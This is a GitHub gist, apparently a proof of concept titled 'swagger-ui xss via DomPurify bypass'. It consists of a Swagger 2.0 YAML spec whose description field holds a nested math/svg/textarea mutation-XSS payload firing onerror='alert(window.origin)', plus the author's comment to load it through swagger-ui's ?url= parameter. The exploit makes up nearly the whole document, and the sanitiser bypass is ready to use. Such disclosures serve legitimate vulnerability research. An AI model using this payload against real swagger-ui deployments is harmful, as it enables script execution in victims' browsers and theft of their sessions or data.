Skip to content

Instantly share code, notes, and snippets.

@yak0n
Last active May 30, 2022 14:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yak0n/baa8461e6703524d018e4d386b698ee6 to your computer and use it in GitHub Desktop.
Save yak0n/baa8461e6703524d018e4d386b698ee6 to your computer and use it in GitHub Desktop.
swagger-ui xss via DomPurify bypass
swagger: '2.0'
info:
title: Example yaml.spec
description: |
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
- accounts
operationId: findAccounts
summary: Finds all accounts
@yak0n
Copy link
Author

yak0n commented May 30, 2022

embed it via ?url=https://...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment